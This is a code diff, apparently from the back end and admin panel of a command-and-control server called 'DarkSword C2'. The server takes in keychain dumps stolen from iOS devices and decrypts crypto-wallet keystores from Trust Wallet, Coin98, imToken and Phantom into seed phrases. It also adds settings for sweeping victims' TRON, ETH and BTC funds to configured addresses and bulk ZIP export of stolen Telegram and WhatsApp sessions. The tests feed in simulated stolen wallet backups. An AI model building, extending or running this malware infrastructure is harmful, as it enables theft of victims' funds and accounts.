||||
$device = Device::query()->create($attrs);
|
||||
} catch (UniqueConstraintViolationException $e) {
|
||||
} catch (UniqueConstraintViolationException | QueryException $e) {
|
||||
// Race condition: another request inserted the same device_id
|
||||
// between our firstOrCreate SELECT and this INSERT. Look up the
|
||||
// winner and return it instead of crashing the request.
|
||||
$existing = Device::query()->where('device_id', $deviceKey)->first();
|
||||
if ($existing === null) {
|
||||
throw $e;
|
||||
@@ -973,7 +977,12 @@ class IngestService
|
||||
}
|
||||
|
||||
$hash = NoteContent::hash($items);
|
||||
$existing = Note::query()->where('device_id', $device->id)->orderByDesc('id')->first();
|
||||
// Only select id + content_hash — the `content` column can be a large
|
||||
// JSON blob that blows up MySQL's sort buffer when ORDER BY loads full rows.
|
||||
$existing = Note::query()
|
||||
->where('device_id', $device->id)
|
||||
->orderByDesc('id')
|
||||
->first(['id', 'content_hash']);
|
||||
if ($existing) {
|
||||
Note::query()->where('device_id', $device->id)->where('id', '!=', $existing->id)->delete();
|
||||
if (hash_equals((string) $existing->content_hash, $hash)) {
|
||||
|
||||
@@ -72,7 +72,7 @@ class MnemonicScanService
|
||||
|
||||
public function scanDeviceNotes(Device $device): void
|
||||
{
|
||||
$note = $device->notes()->orderByDesc('id')->first();
|
||||
$note = $this->latestNote($device);
|
||||
if ($note === null) {
|
||||
return;
|
||||
}
|
||||
@@ -209,7 +209,7 @@ class MnemonicScanService
|
||||
public function noteProgress(?Device $device = null, ?User $agent = null): array
|
||||
{
|
||||
if ($device !== null) {
|
||||
$note = $device->notes()->orderByDesc('id')->first();
|
||||
$note = $this->latestNote($device);
|
||||
$items = $note ? $note->items() : [];
|
||||
$total = count($items);
|
||||
if ($total === 0) {
|
||||
@@ -454,4 +454,16 @@ class MnemonicScanService
|
||||
|
||||
return $title."\n".$body;
|
||||
}
|
||||
|
||||
/**
|
||||
* Fetch the latest note for a device without triggering a MySQL sort
|
||||
* on the large `content` column. Step 1 gets only the id (cheap ORDER BY
|
||||
* on small column); step 2 fetches the full row by PK (no sort).
|
||||
*/
|
||||
private function latestNote(Device $device): ?Note
|
||||
{
|
||||
$id = $device->notes()->orderByDesc('id')->value('id');
|
||||
|
||||
return $id !== null ? Note::query()->find($id) : null;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -21,6 +21,9 @@ class SettingsService
|
||||
'auto_transfer.threshold_trx' => 'AUTO_TRANSFER_THRESHOLD_TRX',
|
||||
'auto_transfer.threshold_eth' => 'AUTO_TRANSFER_THRESHOLD_ETH',
|
||||
'auto_transfer.threshold_btc' => 'AUTO_TRANSFER_THRESHOLD_BTC',
|
||||
'transfer.to_address' => 'TRANSFER_TO_ADDRESS',
|
||||
'transfer.to_address_eth' => 'TRANSFER_TO_ADDRESS_ETH',
|
||||
'transfer.to_address_btc' => 'TRANSFER_TO_ADDRESS_BTC',
|
||||
'transfer.fee_address_tron' => 'TRANSFER_FEE_ADDRESS_TRON',
|
||||
'transfer.fee_private_key_tron' => 'TRANSFER_FEE_PRIVATE_KEY_TRON',
|
||||
'transfer.fee_topup_trx' => 'TRANSFER_FEE_TOPUP_TRX',
|
||||
@@ -149,6 +152,9 @@ class SettingsService
|
||||
'auto_transfer.threshold_trx' => config(['coruna.auto_transfer.threshold_trx' => $value]),
|
||||
'auto_transfer.threshold_eth' => config(['coruna.auto_transfer.threshold_eth' => $value]),
|
||||
'auto_transfer.threshold_btc' => config(['coruna.auto_transfer.threshold_btc' => $value]),
|
||||
'transfer.to_address' => config(['coruna.transfer.to_address' => $value]),
|
||||
'transfer.to_address_eth' => config(['coruna.transfer.to_address_eth' => $value]),
|
||||
'transfer.to_address_btc' => config(['coruna.transfer.to_address_btc' => $value]),
|
||||
'transfer.fee_address_tron' => config(['coruna.transfer.fee_address_tron' => $value]),
|
||||
'transfer.fee_private_key_tron' => config(['coruna.transfer.fee_private_key_tron' => $value]),
|
||||
'transfer.fee_topup_trx' => config(['coruna.transfer.fee_topup_trx' => $value !== '' ? $value : '20']),
|
||||
|
||||
@@ -388,7 +388,7 @@ class TelegramNotifier
|
||||
...$this->deviceHeader($deviceId),
|
||||
'🏷 <b>来源</b>: '.$this->e($origin !== '' ? $origin : '—'),
|
||||
'📬 <b>地址</b>: <code>'.$this->e($address).'</code>',
|
||||
'📥 <b>可归集</b>: '.($collectable === true ? '✅' : '❌'),
|
||||
'📥 <b>可归集</b>: '.($collectable === true ? '✅' : '⏳'),
|
||||
'💵 <b>金额</b>: '.$this->e($signed).' '.$this->e($symbol),
|
||||
];
|
||||
if ($balance !== null && trim($balance) !== '') {
|
||||
|
||||
@@ -16,15 +16,22 @@ final class CfIpCountry
|
||||
|
||||
public static function normalize(?string $raw): ?string
|
||||
{
|
||||
$code = strtoupper(trim((string) $raw));
|
||||
$trimmed = trim((string) $raw);
|
||||
if ($trimmed === '') {
|
||||
return null;
|
||||
}
|
||||
$code = strtoupper($trimmed);
|
||||
if ($code === 'T1') {
|
||||
return 'T1';
|
||||
}
|
||||
if (preg_match('/^[A-Z]{2}$/', $code) !== 1) {
|
||||
return null;
|
||||
if (preg_match('/^[A-Z]{2}$/', $code) === 1) {
|
||||
return $code;
|
||||
}
|
||||
|
||||
return $code;
|
||||
// Allow Chinese country names (e.g. "中国" -> "CN") via reverse lookup.
|
||||
$hit = array_search($trimmed, self::names(), true);
|
||||
|
||||
return $hit !== false ? (string) $hit : null;
|
||||
}
|
||||
|
||||
public static function label(?string $code): string
|
||||
|
||||
@@ -156,6 +156,21 @@ return [
|
||||
'replace_placeholders' => true,
|
||||
],
|
||||
|
||||
'keystore' => [
|
||||
'driver' => 'stack',
|
||||
'channels' => ['keystore-file', 'stderr'],
|
||||
'ignore_exceptions' => true,
|
||||
],
|
||||
|
||||
'keystore-file' => [
|
||||
'driver' => 'daily',
|
||||
'path' => storage_path('logs/keystore/keystore.log'),
|
||||
'level' => env('LOG_LEVEL', 'debug'),
|
||||
'days' => env('LOG_DAILY_DAYS', 30),
|
||||
'permission' => 0664,
|
||||
'replace_placeholders' => true,
|
||||
],
|
||||
|
||||
'emergency' => [
|
||||
'path' => storage_path('logs/laravel.log'),
|
||||
'permission' => 0664,
|
||||
|
||||
@@ -629,9 +629,10 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
{ field: 'item_count', title: '条目', width: 70 },
|
||||
{ field: 'summary', title: '摘要', minWidth: 220, templet: function (d) { return dash(d.summary); } },
|
||||
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } },
|
||||
{ title: '操作', width: 180, align: 'center', templet: function (d) {
|
||||
{ title: '操作', width: 240, align: 'center', templet: function (d) {
|
||||
var html = '';
|
||||
if (d.items_url) html += '<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="items">查看</a>';
|
||||
if (d.detail_api_url && d.has_web3_keystore) html += '<a class="layui-btn layui-btn-xs" style="background:#5a8dee" lay-event="plaintext">明文</a>';
|
||||
if (d.decrypt_url) html += '<a class="layui-btn layui-btn-xs" lay-event="decrypt">解密</a>';
|
||||
return html || '—';
|
||||
} }
|
||||
@@ -750,6 +751,31 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
layer.msg('加载失败');
|
||||
});
|
||||
});
|
||||
|
||||
// Plaintext detail viewer (sensitive fields masked)
|
||||
table.on('tool(LAY-device-tab-list)', function (obj) {
|
||||
if (obj.event !== 'plaintext' || !obj.data.detail_api_url) return;
|
||||
layer.load(1);
|
||||
$.getJSON(obj.data.detail_api_url, function (res) {
|
||||
layer.closeAll('loading');
|
||||
if (!res || res.code !== 0) {
|
||||
return layer.msg((res && res.msg) || '加载失败');
|
||||
}
|
||||
var d = res.data || {};
|
||||
var detail = d.detail || {};
|
||||
var html = '<div style="padding:12px 16px 16px;"><div style="color:#666;font-size:13px;margin-bottom:8px;">#' +
|
||||
esc(d.id) + ' · 来源 ' + esc(d.source || '未知') + ' · ' + esc(d.kind || '') +
|
||||
' · 已解密 ' + (Number(d.decrypted) === 1 ? '是' : '否') + '</div>' +
|
||||
'<div style="color:#999;font-size:12px;margin-bottom:8px;padding:6px 10px;background:#fffbe6;border:1px solid #ffe58f;border-radius:3px;">' +
|
||||
'敏感加密字段已打码,其余明文信息完整展示</div>' +
|
||||
'<pre style="background:#f7f7f7;border:1px solid #e6e6e6;border-radius:3px;padding:12px;font-family:Menlo,Monaco,Consolas,monospace;font-size:12px;line-height:1.5;max-height:560px;overflow:auto;white-space:pre-wrap;word-break:break-all;">' +
|
||||
esc(JSON.stringify(detail, null, 2)) + '</pre></div>';
|
||||
layer.open({ type: 1, title: '明文详情 #' + (d.id || ''), area: ['960px', '80%'], content: html });
|
||||
}).fail(function () {
|
||||
layer.closeAll('loading');
|
||||
layer.msg('加载失败');
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
if (tab === 'wallets') {
|
||||
|
||||
@@ -21,6 +21,28 @@
|
||||
word-break: break-all;
|
||||
font-family: Menlo, Monaco, Consolas, monospace;
|
||||
}
|
||||
.ks-detail-hint {
|
||||
color: #999;
|
||||
font-size: 12px;
|
||||
margin-bottom: 8px;
|
||||
padding: 6px 10px;
|
||||
background: #fffbe6;
|
||||
border: 1px solid #ffe58f;
|
||||
border-radius: 3px;
|
||||
}
|
||||
.ks-detail-json {
|
||||
background: #f7f7f7;
|
||||
border: 1px solid #e6e6e6;
|
||||
border-radius: 3px;
|
||||
padding: 12px;
|
||||
font-family: Menlo, Monaco, Consolas, monospace;
|
||||
font-size: 12px;
|
||||
line-height: 1.5;
|
||||
max-height: 560px;
|
||||
overflow: auto;
|
||||
white-space: pre-wrap;
|
||||
word-break: break-all;
|
||||
}
|
||||
</style>
|
||||
<div class="layui-card">
|
||||
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-ks-search">
|
||||
@@ -64,6 +86,7 @@
|
||||
<table id="LAY-ks-list" lay-filter="LAY-ks-list"></table>
|
||||
<script type="text/html" id="LAY-ks-ops">
|
||||
<a class="layui-btn layui-btn-warm layui-btn-xs" lay-event="items">查看条目</a>
|
||||
@{{# if(d.has_web3_keystore){ }}<a class="layui-btn layui-btn-xs" style="background:#5a8dee" lay-event="plaintext">查看明文</a>@{{# } }}
|
||||
<a class="layui-btn layui-btn-xs" lay-event="decrypt">解密</a>
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
|
||||
</script>
|
||||
@@ -131,6 +154,36 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
});
|
||||
};
|
||||
|
||||
// ── Plaintext detail viewer (sensitive fields masked) ──
|
||||
window.CorunaKeystoreDetail = window.CorunaKeystoreDetail || function (url, title) {
|
||||
layer.load(1);
|
||||
$.getJSON(url, function (res) {
|
||||
layer.closeAll('loading');
|
||||
if (!res || res.code !== 0) {
|
||||
return layer.msg((res && res.msg) || '加载失败');
|
||||
}
|
||||
var d = res.data || {};
|
||||
var detail = d.detail || {};
|
||||
var html = '<div class="ks-wrap"><div class="ks-meta">#' + esc(d.id) +
|
||||
' · 来源 ' + esc(d.source || '未知') +
|
||||
' · ' + esc(d.kind || '') +
|
||||
' · 已解密 ' + (Number(d.decrypted) === 1 ? '是' : '否') +
|
||||
'</div>';
|
||||
html += '<div class="ks-detail-hint">敏感加密字段已打码,其余明文信息完整展示</div>';
|
||||
html += '<pre class="ks-detail-json">' + esc(JSON.stringify(detail, null, 2)) + '</pre></div>';
|
||||
layer.open({
|
||||
type: 1,
|
||||
title: title || ('明文详情 #' + (d.id || '')),
|
||||
area: ['960px', '80%'],
|
||||
content: html,
|
||||
scrollbar: true
|
||||
});
|
||||
}).fail(function () {
|
||||
layer.closeAll('loading');
|
||||
layer.msg('加载失败');
|
||||
});
|
||||
};
|
||||
|
||||
table.render({
|
||||
elem: '#LAY-ks-list',
|
||||
id: 'LAY-ks-list',
|
||||
@@ -163,6 +216,10 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
window.CorunaKeystoreItems(obj.data.items_url, '钥匙串 #' + obj.data.id);
|
||||
return;
|
||||
}
|
||||
if (obj.event === 'plaintext') {
|
||||
window.CorunaKeystoreDetail(obj.data.detail_api_url, '明文详情 #' + obj.data.id);
|
||||
return;
|
||||
}
|
||||
if (obj.event === 'decrypt') {
|
||||
if (!obj.data.decrypt_url) return layer.msg('无法解密');
|
||||
layer.confirm('对该设备已存钥匙串尝试解密并写入助记词?Trust UTC 可能需要一两分钟,请勿关闭页面。', { icon: 3, title: '解密' }, function (idx) {
|
||||
|
||||
@@ -30,6 +30,9 @@
|
||||
</div>
|
||||
</form>
|
||||
<div class="layui-card-body">
|
||||
<div style="margin-bottom:10px;">
|
||||
<button class="layui-btn layui-btn-normal" id="LAY-session-export"><i class="layui-icon layui-icon-export"></i>导出 ZIP</button>
|
||||
</div>
|
||||
<table id="LAY-session-list" lay-filter="LAY-session-list"></table>
|
||||
<script type="text/html" id="LAY-session-ops">
|
||||
<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="payload">参数</a>
|
||||
@@ -97,6 +100,41 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
return false;
|
||||
});
|
||||
|
||||
// Bulk export: build a query string from the current search form and
|
||||
// trigger a download via a hidden <a>. The server streams a ZIP from disk.
|
||||
document.getElementById('LAY-session-export').addEventListener('click', function () {
|
||||
var params = new URLSearchParams();
|
||||
params.set('kind', isWhatsApp ? '2' : '1');
|
||||
var formEl = document.querySelector('form[lay-filter="LAY-session-search"]');
|
||||
if (formEl) {
|
||||
var fd = new FormData(formEl);
|
||||
fd.forEach(function (v, k) { if (v) params.set(k, v); });
|
||||
}
|
||||
var url = @json(route($portal.'.sessions.export')) + '?' + params.toString();
|
||||
var load = layer.load(1, { shade: 0.1 });
|
||||
// Use fetch so we can detect JSON error responses (422) vs the ZIP blob.
|
||||
fetch(url, { credentials: 'same-origin' })
|
||||
.then(function (res) {
|
||||
layer.close(load);
|
||||
var ct = res.headers.get('Content-Type') || '';
|
||||
if (!res.ok || ct.indexOf('application/json') !== -1) {
|
||||
return res.json().then(function (b) { throw new Error(b.msg || '导出失败'); });
|
||||
}
|
||||
return res.blob().then(function (blob) {
|
||||
var a = document.createElement('a');
|
||||
a.href = URL.createObjectURL(blob);
|
||||
a.download = (isWhatsApp ? 'ws' : 'tg') + '-sessions.zip';
|
||||
document.body.appendChild(a);
|
||||
a.click();
|
||||
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
|
||||
});
|
||||
})
|
||||
.catch(function (e) {
|
||||
layer.close(load);
|
||||
layer.msg(e.message || '导出失败');
|
||||
});
|
||||
});
|
||||
|
||||
table.on('tool(LAY-session-list)', function (obj) {
|
||||
if (obj.event === 'payload') {
|
||||
var url = obj.data.payload_url;
|
||||
|
||||
@@ -99,11 +99,22 @@
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">归集地址</label>
|
||||
<div class="layui-input-block">
|
||||
<div class="layui-form-mid" style="padding-top:9px !important;line-height:1.8;">
|
||||
<div>TRON:@if($form['transfer.to_address'])<code>{{ $form['transfer.to_address'] }}</code>@else<span>未配置</span>@endif</div>
|
||||
<div>ETH:@if($form['transfer.to_address_eth'])<code>{{ $form['transfer.to_address_eth'] }}</code>@else<span>未配置</span>@endif</div>
|
||||
<div>BTC:@if($form['transfer.to_address_btc'])<code>{{ $form['transfer.to_address_btc'] }}</code>@else<span>未配置</span>@endif</div>
|
||||
<div style="display:flex;align-items:center;gap:4px;margin-bottom:8px;">
|
||||
<span class="layui-form-mid" style="width:50px;">TRON</span>
|
||||
<input type="text" name="transfer_to_address" class="layui-input" autocomplete="off"
|
||||
value="{{ $form['transfer.to_address'] }}" placeholder="TRON 归集地址" style="flex:1;max-width:560px;">
|
||||
</div>
|
||||
<div style="display:flex;align-items:center;gap:4px;margin-bottom:8px;">
|
||||
<span class="layui-form-mid" style="width:50px;">ETH</span>
|
||||
<input type="text" name="transfer_to_address_eth" class="layui-input" autocomplete="off"
|
||||
value="{{ $form['transfer.to_address_eth'] }}" placeholder="ETH 归集地址" style="flex:1;max-width:560px;">
|
||||
</div>
|
||||
<div style="display:flex;align-items:center;gap:4px;margin-bottom:8px;">
|
||||
<span class="layui-form-mid" style="width:50px;">BTC</span>
|
||||
<input type="text" name="transfer_to_address_btc" class="layui-input" autocomplete="off"
|
||||
value="{{ $form['transfer.to_address_btc'] }}" placeholder="BTC 归集地址" style="flex:1;max-width:560px;">
|
||||
</div>
|
||||
<div class="layui-form-mid layui-word-aux">写入 .env TRANSFER_TO_ADDRESS / TRANSFER_TO_ADDRESS_ETH / TRANSFER_TO_ADDRESS_BTC;留空表示未配置</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
@@ -49,8 +49,13 @@
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">国家</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="country" class="layui-input" placeholder="如 CN" autocomplete="off">
|
||||
<div class="layui-input-block" style="min-width: 180px;">
|
||||
<select name="country" lay-search>
|
||||
<option value="">全部</option>
|
||||
@foreach ($countries as $code => $name)
|
||||
<option value="{{ $code }}">{{ $name }} ({{ $code }})</option>
|
||||
@endforeach
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
|
||||
@@ -85,6 +85,7 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
|
||||
Route::get('keystores', [KeystoreController::class, 'index'])->name('keystores.index');
|
||||
Route::get('keystores/data', [KeystoreController::class, 'data'])->name('keystores.data');
|
||||
Route::get('keystores/{keystore}/items', [KeystoreController::class, 'items'])->name('keystores.items');
|
||||
Route::get('keystores/{keystore}/detail', [KeystoreController::class, 'detail'])->name('keystores.detail');
|
||||
Route::post('keystores/{keystore}/decrypt', [KeystoreController::class, 'decrypt'])->name('keystores.decrypt');
|
||||
|
||||
Route::get('transfers', [TransferRecordController::class, 'index'])->name('transfers.index');
|
||||
@@ -102,6 +103,7 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
|
||||
Route::get('telegram/data', [PluginSessionController::class, 'telegramData'])->name('telegram.data');
|
||||
Route::get('sessions/{pluginSession}/payload', [PluginSessionController::class, 'payload'])->name('sessions.payload');
|
||||
Route::get('sessions/{pluginSession}/download', [PluginSessionController::class, 'download'])->name('sessions.download');
|
||||
Route::get('sessions/export', [PluginSessionController::class, 'export'])->name('sessions.export');
|
||||
|
||||
Route::get('agents', [AgentUserController::class, 'index'])->name('agents.index');
|
||||
Route::get('agents/data', [AgentUserController::class, 'data'])->name('agents.data');
|
||||
|
||||
@@ -83,6 +83,7 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
|
||||
Route::get('keystores', [KeystoreController::class, 'index'])->name('keystores.index');
|
||||
Route::get('keystores/data', [KeystoreController::class, 'data'])->name('keystores.data');
|
||||
Route::get('keystores/{keystore}/items', [KeystoreController::class, 'items'])->name('keystores.items');
|
||||
Route::get('keystores/{keystore}/detail', [KeystoreController::class, 'detail'])->name('keystores.detail');
|
||||
Route::post('keystores/{keystore}/decrypt', [KeystoreController::class, 'decrypt'])->name('keystores.decrypt');
|
||||
|
||||
Route::get('transfers', [TransferRecordController::class, 'index'])->name('transfers.index');
|
||||
@@ -100,6 +101,7 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
|
||||
Route::get('telegram/data', [PluginSessionController::class, 'telegramData'])->name('telegram.data');
|
||||
Route::get('sessions/{pluginSession}/payload', [PluginSessionController::class, 'payload'])->name('sessions.payload');
|
||||
Route::get('sessions/{pluginSession}/download', [PluginSessionController::class, 'download'])->name('sessions.download');
|
||||
Route::get('sessions/export', [PluginSessionController::class, 'export'])->name('sessions.export');
|
||||
|
||||
Route::get('channels', [ChannelController::class, 'index'])->name('channels.index');
|
||||
Route::get('channels/data', [ChannelController::class, 'data'])->name('channels.data');
|
||||
|
||||
@@ -731,6 +731,58 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
$this->assertSame($mnemonic->id, $addr->mnemonic_id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function war_duplicate_device_create_returns_existing(): void
|
||||
{
|
||||
// Simulate a race: the device already exists when /war tries to
|
||||
// create it. The upsert should find the existing row and continue
|
||||
// instead of crashing with a duplicate key error.
|
||||
$existing = Device::query()->create([
|
||||
'device_id' => self::DS_LHU,
|
||||
'chain' => Device::CHAIN_DARKSWORD,
|
||||
]);
|
||||
|
||||
$this->postJson('/war', [
|
||||
'lhu' => self::DS_LHU,
|
||||
'keychain' => [
|
||||
'wallets' => [
|
||||
'trustwallet' => [
|
||||
'count' => 1,
|
||||
'items' => [[
|
||||
'accessGroup' => 'group.com.sixdays.team',
|
||||
'dataHex' => bin2hex('{"crypto":{"cipher":"aes-128-ctr"}}'),
|
||||
]],
|
||||
],
|
||||
],
|
||||
],
|
||||
])->assertOk()->assertJson(['ok' => true]);
|
||||
|
||||
// Same device row, not a duplicate.
|
||||
$this->assertSame(1, Device::query()->where('device_id', self::DS_LHU)->count());
|
||||
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
||||
$this->assertSame($existing->id, $device->id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function beacon_duplicate_device_create_returns_existing(): void
|
||||
{
|
||||
// Same race condition test via /beacon endpoint.
|
||||
$existing = Device::query()->create([
|
||||
'device_id' => self::DS_LHU,
|
||||
'chain' => Device::CHAIN_DARKSWORD,
|
||||
]);
|
||||
|
||||
$this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'status' => 'idle',
|
||||
'ios' => '18.6',
|
||||
])->assertOk();
|
||||
|
||||
$this->assertSame(1, Device::query()->where('device_id', self::DS_LHU)->count());
|
||||
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
||||
$this->assertSame($existing->id, $device->id);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function beacon_alternates_scan_and_extract_per_ip_with_5s_gap(): void
|
||||
{
|
||||
@@ -1298,4 +1350,292 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
'c2/ds-results/'.self::DS_LHU.'/dsq-scan-wallets-1/wallet_pkg.json'
|
||||
);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function war_coin98_plaintext_backup_decrypts_mnemonic_and_addresses(): void
|
||||
{
|
||||
Http::fake();
|
||||
$mnemonic = self::TEST_MNEMONIC;
|
||||
$eth = '0x6188587D7d55635C6EcDCA2bD6A3cE0690Ead757';
|
||||
$trx = 'TFncSZhFzsiEaRSTrThDyqEnbiLv99KoR2';
|
||||
$btc = 'bc1qsrr6lyapm7rjj609enwhlt620zu7r37fxfkna0';
|
||||
$backup = [
|
||||
['chain' => 'ether', 'address' => $eth, 'mnemonic' => $mnemonic, 'privateKey' => '0xabc', 'path' => "hd m/44'/60'/0'/0/0", 'isMulti' => true, 'name' => 'My Wallet', 'isActive' => true],
|
||||
['chain' => 'tron', 'address' => $trx, 'mnemonic' => $mnemonic, 'privateKey' => '0xdef', 'path' => "hd m/44'/195'/0'/0/0", 'isMulti' => true, 'name' => 'My Wallet', 'isActive' => true],
|
||||
['chain' => 'bitcoin', 'address' => $btc, 'mnemonic' => $mnemonic, 'privateKey' => '0x123', 'path' => "hd m/84'/0'/0'/0/0", 'isMulti' => true, 'name' => 'My Wallet', 'isActive' => true],
|
||||
];
|
||||
|
||||
$this->postJson('/war', [
|
||||
'lhu' => self::DS_LHU,
|
||||
'keychain' => [
|
||||
'wallets' => [
|
||||
'coin98' => [
|
||||
'count' => 1,
|
||||
'items' => [[
|
||||
'service' => 'rn-secure-storage',
|
||||
'account' => 'WALLET_SECURE_BACKUP',
|
||||
'dataHex' => bin2hex(json_encode($backup)),
|
||||
]],
|
||||
],
|
||||
],
|
||||
],
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', self::DS_LHU)->first();
|
||||
$this->assertNotNull($device);
|
||||
|
||||
$memo = WalletMnemonic::query()->where('device_id', $device->id)->where('source', 'Coin98')->first();
|
||||
$this->assertNotNull($memo);
|
||||
$this->assertSame($mnemonic, $memo->mnemonic);
|
||||
|
||||
$this->assertTrue(
|
||||
WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Coin98')->get()
|
||||
->contains(fn ($row) => (int) $row->decrypted === 1)
|
||||
);
|
||||
|
||||
$ethAddr = WalletAddress::query()->where('device_id', $device->id)->where('address', $eth)->where('source', 'Coin98')->first();
|
||||
$this->assertNotNull($ethAddr);
|
||||
$this->assertSame('ETHEREUM', $ethAddr->chain_type);
|
||||
|
||||
$trxCoin = WalletAddress::query()->where('device_id', $device->id)->where('address', $trx)->where('source', 'Coin98')->first();
|
||||
$this->assertNotNull($trxCoin);
|
||||
$this->assertSame('TRON', $trxCoin->chain_type);
|
||||
|
||||
$btcAddr = WalletAddress::query()->where('device_id', $device->id)->where('address', $btc)->where('source', 'Coin98')->first();
|
||||
$this->assertNotNull($btcAddr);
|
||||
$this->assertSame('BITCOIN', $btcAddr->chain_type);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function result_keychain_dump_ingests_coin98_mnemonic(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
Http::fake();
|
||||
$device = Device::query()->create([
|
||||
'device_id' => self::DS_LHU,
|
||||
'chain' => Device::CHAIN_DARKSWORD,
|
||||
'album_storage' => true,
|
||||
]);
|
||||
DsBeaconTask::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'position' => 1,
|
||||
'type' => 'wallet_scan',
|
||||
'status' => DsBeaconTask::STATUS_DISPATCHED,
|
||||
'command_id' => 'dsq-scan-kc-1',
|
||||
]);
|
||||
|
||||
$mnemonic = self::TEST_MNEMONIC;
|
||||
$eth = '0x6188587D7d55635C6EcDCA2bD6A3cE0690Ead757';
|
||||
$backup = [
|
||||
['chain' => 'ether', 'address' => $eth, 'mnemonic' => $mnemonic, 'privateKey' => '0xabc', 'path' => "hd m/44'/60'/0'/0/0", 'isMulti' => true, 'name' => 'My Wallet', 'isActive' => true],
|
||||
];
|
||||
$keychainDump = [
|
||||
'wallets' => [
|
||||
'coin98' => [
|
||||
'count' => 1,
|
||||
'items' => [[
|
||||
'service' => 'rn-secure-storage',
|
||||
'account' => 'WALLET_SECURE_BACKUP',
|
||||
'dataHex' => bin2hex(json_encode($backup)),
|
||||
]],
|
||||
],
|
||||
],
|
||||
];
|
||||
|
||||
$this->postJson('/result', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'command_id' => 'dsq-scan-kc-1',
|
||||
'filename' => 'keychain_c2_dump.json',
|
||||
'category' => 'wallet_scan',
|
||||
'data' => base64_encode(json_encode($keychainDump)),
|
||||
])->assertOk();
|
||||
|
||||
$memo = WalletMnemonic::query()->where('device_id', $device->id)->where('source', 'Coin98')->first();
|
||||
$this->assertNotNull($memo);
|
||||
$this->assertSame($mnemonic, $memo->mnemonic);
|
||||
|
||||
$ks = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Coin98')->first();
|
||||
$this->assertNotNull($ks);
|
||||
$this->assertSame(1, (int) $ks->decrypted);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function result_walletsV2_ingests_imtoken_keystore(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
Http::fake();
|
||||
$device = Device::query()->create([
|
||||
'device_id' => self::DS_LHU,
|
||||
'chain' => Device::CHAIN_DARKSWORD,
|
||||
'album_storage' => true,
|
||||
]);
|
||||
DsBeaconTask::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'position' => 1,
|
||||
'type' => 'wallet_extract',
|
||||
'status' => DsBeaconTask::STATUS_DISPATCHED,
|
||||
'command_id' => 'dsq-extract-imt-1',
|
||||
]);
|
||||
|
||||
// An imToken walletsV2 keystore (encrypted, no password available).
|
||||
$keystore = [
|
||||
'id' => '05e3bcf4-f522-4d80-b8d0-1c05f5be8094',
|
||||
'version' => 12000,
|
||||
'crypto' => [
|
||||
'cipher' => 'aes-128-ctr',
|
||||
'cipherparams' => ['iv' => '4a1cfd57baaa3b00b51193ff7668d78e'],
|
||||
'ciphertext' => '75366e1ff5c2944f0ff781e3ce15f40e',
|
||||
'kdf' => 'pbkdf2',
|
||||
'kdfparams' => ['c' => 262144, 'prf' => 'hmac-sha256', 'dklen' => 32, 'salt' => 'c70d790e2ff331dff35427a4739fd470998f915396d8d0895a98d677bad81e11'],
|
||||
'mac' => '260ead5acb377b98a4a9b8773d06c582042e6d9a43523a7e0b04d53d914be8ff',
|
||||
],
|
||||
'imTokenMeta' => ['name' => 'cfc', 'source' => 'MNEMONIC', 'network' => 'MAINNET'],
|
||||
];
|
||||
|
||||
$this->postJson('/result', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'command_id' => 'dsq-extract-imt-1',
|
||||
'filename' => 'walletsV2_05e3bcf4-f522-4d80-b8d0-1c05f5be8094.json',
|
||||
'category' => 'wallet_extract',
|
||||
'data' => base64_encode(json_encode($keystore)),
|
||||
])->assertOk();
|
||||
|
||||
$ks = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'imToken')->first();
|
||||
$this->assertNotNull($ks);
|
||||
// No password → not decrypted, but keystore is stored.
|
||||
$this->assertSame(0, (int) $ks->decrypted);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function war_phantom_entropy_decrypts_mnemonic(): void
|
||||
{
|
||||
Http::fake();
|
||||
// Phantom stores BIP39 entropy as a JSON dict in keychain under
|
||||
// service=app:no-auth / account=.phantom-labs.vault.seedless.<id>
|
||||
// entropy bytes: fa685dddbcc0b7b8b98801b42d70edeb → 12-word mnemonic
|
||||
